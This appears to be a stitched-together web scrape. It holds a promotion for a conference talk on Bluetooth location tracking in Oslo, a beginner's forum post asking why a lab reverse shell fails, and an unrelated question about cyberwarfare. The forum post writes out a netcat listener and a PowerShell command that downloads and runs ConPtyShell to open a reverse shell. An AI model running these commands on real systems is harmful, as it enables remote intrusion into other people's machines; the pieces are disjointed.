The recording of my presentation on Location Tracking of Bluetooth Devices at the BSides Oslo 2022 conference has been released on YouTube. In my talk, I demonstrate how easy it is for third parties to track your every move without your knowledge. By analyzing 5,000,000 logged data points, I was able to pinpoint the movement patterns and habits of several device owners in Oslo, even identifying some of the owner’s devices by their names.

This is a must-watch for anyone interested in understanding how Bluetooth devices can be used for mass tracking and surveillance in cities like Oslo.

Youtube: https://www.youtube.com/watch?v=18dXsqpLDtY

To view the full report, click on the link below: https://www.hegnes.tech/2021/09/01/location-tracking-of-wifi-access-point-and-bluetooth-devices/

So I’ve recently developed an interest in information security and have started to learn certain basic hacks such as DOS Attacks and smaller wifi-related “Hacks”. I’m a complete beginner so my knowledge is very limited.

I recently tried to follow a Youtube video on how to execute a reverse shell by NetworkChuck. Link to video: https://www.youtube.com/watch?v=bXCeFPNWjsM

I followed all the steps apart from 1, the step where he creates a cloud hacking machine on a website, I did not do that.

My attacking machine is a Kali Linux laptop. I entered this command into the terminal:

stty raw -echo; (stty size; cat) | nc -lvnp 87 -s <attacking machine IPV4 address> 

My victim machine is a Windows 11 laptop. I entered this command into PowerShell as an admin:

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <attacking machine IPV4> 87 

I got these commands from the GitHub repo mentioned in the video, which you can find here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#fully-interactive-reverse-shell-on-windows:~:text=Fully%20interactive%20reverse%20shell%20on%20Windows

However, whenever I run the command on my Windows machine, I get the following error:

CreatePseudoConsole function found! Spawning a fully interactive shell ConPtyShellException: [-] ConPtyShellException: WSAConnect failed with error code: 10060 at ConPtyShell.connectRemote(String remoteIp, Int32 remotePort) at ConPtyShell.SpawnConPtyShell(String remoteIp, Int32 remotePort, UInt32 rows, UInt32 cols, String commandLine, Boolean upgradeShell) at ConPtyShellMainClass.ConPtyShellMain(String[] args) 

I have tried using my Linux machine’s local IPV4 as well as connecting to a hamachi server and using that IPV4, but alas, the error stays the same.

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I would really appreciate a hand trying to fix this or at least trying to understand what’s going on. I’ve tried to Google it but I can’t quite come up with a good search prompt.

Thank you in advance!

I’ve read about Anonymous and groups like that.

Given the increasing prevalence of Computers in warfare, what do you think the future is regarding these fields?